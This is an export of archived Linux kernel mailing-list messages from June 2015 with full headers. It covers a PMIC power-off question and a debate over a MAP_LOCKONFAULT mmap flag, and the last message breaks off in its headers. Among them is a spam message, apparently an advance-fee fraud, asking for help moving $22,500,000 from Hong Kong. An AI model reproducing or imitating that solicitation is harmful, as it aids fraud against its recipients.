	user-mode-linux-devel@lists.sourceforge.net,
	linux-pm@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-m68k@lists.linux-m68k.org, linux-am33-list@redhat.com,
	linux-tegra@vger.kernel.org,
	openipmi-developer@lists.sourceforge.net,
	linux-metag@vger.kernel.org, li
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Jun 18 23:40:27 2015
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1Z5hXu-0001uf-5G
	for glpm-linux-m68k@plane.gmane.org; Thu, 18 Jun 2015 23:40:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753304AbbFRVkZ (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Thu, 18 Jun 2015 17:40:25 -0400
Original-Received: from smtp.codeaurora.org ([198.145.29.96]:38225 "EHLO
	smtp.codeaurora.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752243AbbFRVkW (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Thu, 18 Jun 2015 17:40:22 -0400
Original-Received: from smtp.codeaurora.org (localhost [127.0.0.1])
	by smtp.codeaurora.org (Postfix) with ESMTP id 0D7111408DE;
	Thu, 18 Jun 2015 21:40:22 +0000 (UTC)
Original-Received: by smtp.codeaurora.org (Postfix, from userid 486)
	id E0F321408E3; Thu, 18 Jun 2015 21:40:21 +0000 (UTC)
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	pdx-caf-smtp.dmz.codeaurora.org
X-Spam-Level: 
X-Spam-Status: No, score=-2.9 required=2.0 tests=ALL_TRUSTED,BAYES_00
	autolearn=ham version=3.3.1
Original-Received: from [10.134.64.202] (i-global254.qualcomm.com [199.106.103.254])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: sboyd@smtp.codeaurora.org)
	by smtp.codeaurora.org (Postfix) with ESMTPSA id 3EA901408DE;
	Thu, 18 Jun 2015 21:40:20 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux i686 on x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.7.0
In-Reply-To: <20150618153003.GA19224@roeck-us.net>
X-Virus-Scanned: ClamAV using ClamSMTP
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:7213 gmane.linux.kernel:1979801 gmane.linux.ports.mips.general:49125 gmane.linux.kernel.efi:5813 gmane.linux.ports.ia64:25549 gmane.linux.kernel.virtualization.lguest:1638 gmane.linux.ports.hexagon:914 gmane.linux.ports.sh.devel:46586 gmane.linux.acpi.devel:76738 gmane.linux.drivers.devicetree:125626 gmane.linux.uml.devel:15071 gmane.linux.power-management.general:61482 gmane.linux.ports.tegra:22765 gmane.linux.kernel.openipmi:2717 gmane.linux.kernel.metag:548 gmane.linux.ports.arm.kernel:421270 gmane.linux.ports.parisc:25785 gmane.linux.ports.alpha:3144 gmane.linux.ports.ppc64.devel:114454
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/7213>

On 06/18/2015 08:30 AM, Guenter Roeck wrote:
> On Wed, Jun 17, 2015 at 06:04:54PM -0700, Stephen Boyd wrote:
> [ ... ]
>> What happened to this series? I want to add shutdown support to my
>> platform and I need to write a register on the PMIC in one driver to
>> configure it for shutdown instead of restart and then write an MMIO
>> register to tell the PMIC to actually do the shutdown in another driver.
>> It seems that the notifier solves this case for me, albeit with the
>> slight complication that I need to order the two with some priority.
>>
> Can you use the .shutdown driver callback instead ?
>
> I see other drivers use that, and check for system_state == SYSTEM_POWER_OFF
> to power off the hardware.
>

Yes I think that will work. I'll still have to hook pm_power_off() for
the mmio register, but I guess that's ok and I don't need to worry about
this series then.

-- 
Qualcomm Innovation Center, Inc. is a member of Code Aurora Forum,
a Linux Foundation Collaborative Project


From - Thu Nov 08 21:37:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Hocko <mhocko@suse.cz>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.api
Subject: Re: [RESEND PATCH V2 1/3] Add mmap flag to request pages are locked
 after page fault
Date: Fri, 19 Jun 2015 16:57:08 +0200
Lines: 80
Approved: news@gmane.org
Message-ID: <20150619145708.GG4913@dhcp22.suse.cz>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com>
 <1433942810-7852-2-git-send-email-emunson@akamai.com>
 <20150618152907.GG5858@dhcp22.suse.cz>
 <20150618203048.GB2329@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1434725845 22995 80.91.229.3 (19 Jun 2015 14:57:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Jun 2015 14:57:25 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Jun 19 16:57:17 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Z5xjI-00071D-SE
	for glka-linux-arch@plane.gmane.org; Fri, 19 Jun 2015 16:57:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753769AbbFSO5O (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 19 Jun 2015 10:57:14 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:55657 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752484AbbFSO5M (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Fri, 19 Jun 2015 10:57:12 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 7A17FAAB4;
	Fri, 19 Jun 2015 14:57:09 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20150618203048.GB2329@akamai.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:28138 gmane.linux.ports.alpha:3145 gmane.linux.kernel:1980302 gmane.linux.ports.mips.general:49131 gmane.linux.ports.parisc:25786 gmane.linux.ports.ppc64.devel:114492 gmane.linux.ports.sparc:21163 gmane.linux.kernel.mm:134596 gmane.linux.kernel.api:12262
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/28138>

On Thu 18-06-15 16:30:48, Eric B Munson wrote:
> On Thu, 18 Jun 2015, Michal Hocko wrote:
[...]
> > Wouldn't it be much more reasonable and straightforward to have
> > MAP_FAULTPOPULATE as a counterpart for MAP_POPULATE which would
> > explicitly disallow any form of pre-faulting? It would be usable for
> > other usecases than with MAP_LOCKED combination.
> 
> I don't see a clear case for it being more reasonable, it is one
> possible way to solve the problem.

MAP_FAULTPOPULATE would be usable for other cases as well. E.g. fault
around is all or nothing feature. Either all mappings (which support
this) fault around or none. There is no way to tell the kernel that
this particular mapping shouldn't fault around. I haven't seen such a
request yet but we have seen requests to have a way to opt out from
a global policy in the past (e.g. per-process opt out from THP). So
I can imagine somebody will come with a request to opt out from any
speculative operations on the mapped area in the future.

> But I think it leaves us in an even
> more akward state WRT VMA flags.  As you noted in your fix for the
> mmap() man page, one can get into a state where a VMA is VM_LOCKED, but
> not present.  Having VM_LOCKONFAULT states that this was intentional, if
> we go to using MAP_FAULTPOPULATE instead of MAP_LOCKONFAULT, we no
> longer set VM_LOCKONFAULT (unless we want to start mapping it to the
> presence of two MAP_ flags).  This can make detecting the MAP_LOCKED +
> populate failure state harder.

I am not sure I understand your point here. Could you be more specific
how would you check for that and what for?

>From my understanding MAP_LOCKONFAULT is essentially
MAP_FAULTPOPULATE|MAP_LOCKED with a quite obvious semantic (unlike
single MAP_LOCKED unfortunately). I would love to also have
MAP_LOCKED|MAP_POPULATE (aka full mlock semantic) but I am really
skeptical considering how my previous attempt to make MAP_POPULATE
reasonable went.

> If this is the preferred path for mmap(), I am fine with that. 

> However,
> I would like to see the new system calls that Andrew mentioned (and that
> I am testing patches for) go in as well. 

mlock with flags sounds like a good step but I am not sure it will make
sense in the future. POSIX has screwed that and I am not sure how many
applications would use it. This ship has sailed long time ago.

> That way we give users the
> ability to request VM_LOCKONFAULT for memory allocated using something
> other than mmap.

mmap(MAP_FAULTPOPULATE); mlock() would have the same semantic even
without changing mlock syscall.
 
> > > This patch introduces the ability to request that pages are not
> > > pre-faulted, but are placed on the unevictable LRU when they are finally
> > > faulted in.
> > > 
> > > To keep accounting checks out of the page fault path, users are billed
> > > for the entire mapping lock as if MAP_LOCKED was used.
> > > 
> > > Signed-off-by: Eric B Munson <emunson@akamai.com>
> > > Cc: Michal Hocko <mhocko@suse.cz>
> > > Cc: linux-alpha@vger.kernel.org
> > > Cc: linux-kernel@vger.kernel.org
> > > Cc: linux-mips@linux-mips.org
> > > Cc: linux-parisc@vger.kernel.org
> > > Cc: linuxppc-dev@lists.ozlabs.org
> > > Cc: sparclinux@vger.kernel.org
> > > Cc: linux-xtensa@linux-xtensa.org
> > > Cc: linux-mm@kvack.org
> > > Cc: linux-arch@vger.kernel.org
> > > Cc: linux-api@vger.kernel.org
> > > ---
[...]
-- 
Michal Hocko
SUSE Labs

From - Thu Nov 08 21:37:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [RESEND PATCH V2 1/3] Add mmap flag to request pages are locked
 after page fault
Date: Fri, 19 Jun 2015 12:43:33 -0400
Lines: 142
Approved: news@gmane.org
Message-ID: <20150619164333.GD2329@akamai.com>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com>
 <1433942810-7852-2-git-send-email-emunson@akamai.com>
 <20150618152907.GG5858@dhcp22.suse.cz>
 <20150618203048.GB2329@akamai.com>
 <20150619145708.GG4913@dhcp22.suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="tEFtbjk+mNEviIIX"
X-Trace: ger.gmane.org 1434732235 1240 80.91.229.3 (19 Jun 2015 16:43:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Jun 2015 16:43:55 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Michal Hocko <mhocko@suse.cz>
Original-X-From: linux-alpha-owner@vger.kernel.org Fri Jun 19 18:43:47 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1Z5zOE-0001OV-Qb
	for lnx-linux-alpha@plane.gmane.org; Fri, 19 Jun 2015 18:43:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752015AbbFSQnh (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Fri, 19 Jun 2015 12:43:37 -0400
Original-Received: from prod-mail-xrelay07.akamai.com ([72.246.2.115]:61790 "EHLO
	prod-mail-xrelay07.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751635AbbFSQnf (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Fri, 19 Jun 2015 12:43:35 -0400
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 3BA494917E;
	Fri, 19 Jun 2015 16:43:34 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id 24D084917B;
	Fri, 19 Jun 2015 16:43:34 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1434732214; bh=Tat37RSf9eJRP6yzK2490Wy+xb5GculFlf7vM/vAUyI=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=gxcNeeemAtFs+PXtuDKGsfvLEWMW6Li8Z4Uje4nEsRgjivwv3H7ofzH1nROhKZTN6
	 DYDxKIY9UivpasgvTzgZG/qhOvfuR4gQbu1UfsdKpX1buRoCDjwXHmF/BDh3/Fe2dY
	 DXBg6Usaf3Wx0OtjHfSc/qeb5/QI5rQwCSFOa05U=
Original-Received: from akamai.com (unknown [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 1D8A480084;
	Fri, 19 Jun 2015 16:43:34 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150619145708.GG4913@dhcp22.suse.cz>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3146 gmane.linux.kernel:1980374 gmane.linux.ports.mips.general:49132 gmane.linux.ports.parisc:25787 gmane.linux.ports.ppc64.devel:114495 gmane.linux.ports.sparc:21164 gmane.linux.kernel.mm:134606 gmane.linux.kernel.cross-arch:28143 gmane.linux.kernel.api:12263
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3146>


--tEFtbjk+mNEviIIX
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, 19 Jun 2015, Michal Hocko wrote:

> On Thu 18-06-15 16:30:48, Eric B Munson wrote:
> > On Thu, 18 Jun 2015, Michal Hocko wrote:
> [...]
> > > Wouldn't it be much more reasonable and straightforward to have
> > > MAP_FAULTPOPULATE as a counterpart for MAP_POPULATE which would
> > > explicitly disallow any form of pre-faulting? It would be usable for
> > > other usecases than with MAP_LOCKED combination.
> >=20
> > I don't see a clear case for it being more reasonable, it is one
> > possible way to solve the problem.
>=20
> MAP_FAULTPOPULATE would be usable for other cases as well. E.g. fault
> around is all or nothing feature. Either all mappings (which support
> this) fault around or none. There is no way to tell the kernel that
> this particular mapping shouldn't fault around. I haven't seen such a
> request yet but we have seen requests to have a way to opt out from
> a global policy in the past (e.g. per-process opt out from THP). So
> I can imagine somebody will come with a request to opt out from any
> speculative operations on the mapped area in the future.
>=20
> > But I think it leaves us in an even
> > more akward state WRT VMA flags.  As you noted in your fix for the
> > mmap() man page, one can get into a state where a VMA is VM_LOCKED, but
> > not present.  Having VM_LOCKONFAULT states that this was intentional, if
> > we go to using MAP_FAULTPOPULATE instead of MAP_LOCKONFAULT, we no
> > longer set VM_LOCKONFAULT (unless we want to start mapping it to the
> > presence of two MAP_ flags).  This can make detecting the MAP_LOCKED +
> > populate failure state harder.
>=20
> I am not sure I understand your point here. Could you be more specific
> how would you check for that and what for?

My thought on detecting was that someone might want to know if they had
a VMA that was VM_LOCKED but had not been made present becuase of a
failure in mmap.  We don't have a way today, but adding VM_LOCKONFAULT
is at least explicit about what is happening which would make detecting
the VM_LOCKED but not present state easier.  This assumes that
MAP_FAULTPOPULATE does not translate to a VMA flag, but it sounds like
it would have to.

>=20
> From my understanding MAP_LOCKONFAULT is essentially
> MAP_FAULTPOPULATE|MAP_LOCKED with a quite obvious semantic (unlike
> single MAP_LOCKED unfortunately). I would love to also have
> MAP_LOCKED|MAP_POPULATE (aka full mlock semantic) but I am really
> skeptical considering how my previous attempt to make MAP_POPULATE
> reasonable went.

Are you objecting to the addition of the VMA flag VM_LOCKONFAULT, or the
new MAP_LOCKONFAULT flag (or both)?  If you prefer that MAP_LOCKED |
MAP_FAULTPOPULATE means that VM_LOCKONFAULT is set, I am fine with that
instead of introducing MAP_LOCKONFAULT.  I went with the new flag
because to date, we have a one to one mapping of MAP_* to VM_* flags.

>=20
> > If this is the preferred path for mmap(), I am fine with that.=20
>=20
> > However,
> > I would like to see the new system calls that Andrew mentioned (and that
> > I am testing patches for) go in as well.=20
>=20
> mlock with flags sounds like a good step but I am not sure it will make
> sense in the future. POSIX has screwed that and I am not sure how many
> applications would use it. This ship has sailed long time ago.

I don't know either, but the code is the question, right?  I know that
we have at least one team that wants it here.

>=20
> > That way we give users the
> > ability to request VM_LOCKONFAULT for memory allocated using something
> > other than mmap.
>=20
> mmap(MAP_FAULTPOPULATE); mlock() would have the same semantic even
> without changing mlock syscall.

That is true as long as MAP_FAULTPOPULATE set a flag in the VMA(s).  It
doesn't cover the actual case I was asking about, which is how do I get
lock on fault on malloc'd memory?

> =20
> > > > This patch introduces the ability to request that pages are not
> > > > pre-faulted, but are placed on the unevictable LRU when they are fi=
nally
> > > > faulted in.
> > > >=20
> > > > To keep accounting checks out of the page fault path, users are bil=
led
> > > > for the entire mapping lock as if MAP_LOCKED was used.
> > > >=20
> > > > Signed-off-by: Eric B Munson <emunson@akamai.com>
> > > > Cc: Michal Hocko <mhocko@suse.cz>
> > > > Cc: linux-alpha@vger.kernel.org
> > > > Cc: linux-kernel@vger.kernel.org
> > > > Cc: linux-mips@linux-mips.org
> > > > Cc: linux-parisc@vger.kernel.org
> > > > Cc: linuxppc-dev@lists.ozlabs.org
> > > > Cc: sparclinux@vger.kernel.org
> > > > Cc: linux-xtensa@linux-xtensa.org
> > > > Cc: linux-mm@kvack.org
> > > > Cc: linux-arch@vger.kernel.org
> > > > Cc: linux-api@vger.kernel.org
> > > > ---
> [...]
> --=20
> Michal Hocko
> SUSE Labs

--tEFtbjk+mNEviIIX
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVhEa1AAoJELbVsDOpoOa9G9AQAIFwslEVTMGceV83OYvdwX89
JQHGpfvXIZh/BbujjzOFKIFk4BcZhVxGlkvrA9vg/0H3xbXyVg5DXK9hXwKAuGBn
HquXUVb7DtDgLoEbJgBi/LLfJ2ADfIVeiIsUM3fGb/DBTiMqX3QOCM2x63JT9iG1
xtg8hHQ/Ee2PAtR4GO6N4/PCbPWjOEJgdYjSp5avR57h2Keu8xTsHbYUK8CKA496
Pf5SusNzWqwBewdMfr+bLYbs3U9njdLUeLaRGqQuYwETUaALEeL3CIzyyFpDtQjv
WbCBng8aR8Mquz3ogYjz+FPrdftF90abox4yqb8o4V9qF5VW/JotgS/D/H327Lat
SlwKimGCvvOisB01VPNQ03P5x6cwa1Ld2MPltOaTxIjxoSz5lIY8KEkXca37kFj8
fzkR2fFcdb0RLSDWhk3vLNaZj7lcFkBTtx7YLoWLkj9/s3xiVtPmIC9vaMUvI3JZ
QPcX6gENRnDDT+SMZP5giAM4yyJjc50ILXFXkhY4iJuRgK6i4iu61+LASLTqsjeu
UqOfualtpXqLz1oaAgPOtwWxaGm6yr2SWMDuioRZ4oKjMZgPpnk5Yhshvos31MPa
L4pp2SSSKfkFyyIyyD/3tFMFh70xtN5oG1h9IvUi563aMbPZ9pjQq1me6c0ItUxW
tzFfJHu6+Vfws6lONsKF
=6RVh
-----END PGP SIGNATURE-----

--tEFtbjk+mNEviIIX--
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in


From - Thu Nov 08 21:37:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 'LEUNG CHEUNG' <info@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Hello
Date: Sun, 21 Jun 2015 22:35:35 +0530
Lines: 8
Approved: news@gmane.org
Message-ID: <20150621170604.EFE985F6B6B__46548.8720140003$1434907058$gmane$org@zmail.goiania.go.gov.br>
Reply-To: mr.leungcheng30@foxmail.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1434907058 9799 80.91.229.3 (21 Jun 2015 17:17:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Jun 2015 17:17:38 +0000 (UTC)
To: Recipients <info@hotmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 19:17:34 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Z6is9-0005Pp-P6
	for glpp-linux-parisc@plane.gmane.org; Sun, 21 Jun 2015 19:17:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756166AbbFURRU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Jun 2015 13:17:20 -0400
Original-Received: from correio.agmg.goiania.go.gov.br ([200.199.226.132]:43463 "EHLO
	zmail.goiania.go.gov.br" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751133AbbFURQz convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Jun 2015 13:16:55 -0400
X-Greylist: delayed 612 seconds by postgrey-1.27 at vger.kernel.org; Sun, 21 Jun 2015 13:16:46 EDT
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by zmail.goiania.go.gov.br (Postfix) with ESMTP id 0CBE45F6B68;
	Sun, 21 Jun 2015 14:06:33 -0300 (BRT)
X-Virus-Scanned: amavisd-new at zmail.goiania.go.gov.br
Original-Received: from zmail.goiania.go.gov.br ([127.0.0.1])
	by localhost (zmail.goiania.go.gov.br [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id yvMBvzc+MVly; Sun, 21 Jun 2015 14:06:32 -0300 (BRT)
Original-Received: from [100.84.62.144] (unknown [49.200.119.210])
	by zmail.goiania.go.gov.br (Postfix) with ESMTPSA id EFE985F6B6B;
	Sun, 21 Jun 2015 14:06:04 -0300 (BRT)
Content-Description: Mail message body
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25788
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25788>





I need your assistance to transfer $22,500,000.00 Dollars from Hong Kong 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in


From - Thu Nov 08 21:37:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Hocko <mhocko-AlSwsSmVLrQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch
Subject: Re: [RESEND PATCH V2 1/3] Add mmap flag to request pages are locked
 after page fault
Date: Mon, 22 Jun 2015 14:38:26 +0200
Lines: 101
Approved: news@gmane.org
Message-ID: <20150622123826.GF4430@dhcp22.suse.cz>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com>
 <1433942810-7852-2-git-send-email-emunson@akamai.com>
 <20150618152907.GG5858@dhcp22.suse.cz>
 <20150618203048.GB2329@akamai.com>
 <20150619145708.GG4913@dhcp22.suse.cz>
 <20150619164333.GD2329@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1434976723 20270 80.91.229.3 (22 Jun 2015 12:38:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Jun 2015 12:38:43 +0000 (UTC)
Cc: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org, linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Eric B Munson <emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Jun 22 14:38:37 2015
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1Z70zj-0006iL-QL
	for glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Mon, 22 Jun 2015 14:38:36 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S933456AbbFVMid (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
	Mon, 22 Jun 2015 08:38:33 -0400
Original-Received: from mail-wi0-f179.google.com ([209.85.212.179]:35856 "EHLO
	mail-wi0-f179.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933312AbbFVMia (ORCPT
	<rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Mon, 22 Jun 2015 08:38:30 -0400
Original-Received: by wicnd19 with SMTP id nd19so75321905wic.1;
        Mon, 22 Jun 2015 05:38:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=GsQGiILZ9bE1+xQjMR8Ln5+FIc9YUMBIhy0jV+7QYmI=;
        b=aVCVd9VYIAhPmq6I8qg7Z2UT8DRa4WsnST9GF8uUp0fBiCLPuTCmKoZ4M1NG4zmeSY
         p41AiEXfVudHKV9LsrnshxtD0pKyGiENX80YEmAmnzQQu9lv5WLeZMztXz17OrFqhxw7
         PlchbV8oVVdW/mfvXhkYwLkRU1ftLbS2ZbFwbcgGJKf+ZONDW0JgI4qCCyZJ+VDc/cCY
         JTPL/0jTLxgTi6Ly7QEB2XcWBcfZidlsDxHfsG2j0dpPNHQseRHyJYr6WEXP4OcGEoCL
         SE0+zgjWvpjTLli8WugUTX8vOGNiJkRgzAPCcHDRpvOA56c2ZqWZLugrzmQPjIuPDv6c
         ZCrQ==
X-Received: by 10.194.22.105 with SMTP id c9mr42855402wjf.120.1434976708489;
        Mon, 22 Jun 2015 05:38:28 -0700 (PDT)
Original-Received: from localhost (ip-86-49-65-8.net.upcbroadband.cz. [86.49.65.8])
        by mx.google.com with ESMTPSA id pl1sm17092417wic.6.2015.06.22.05.38.27
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
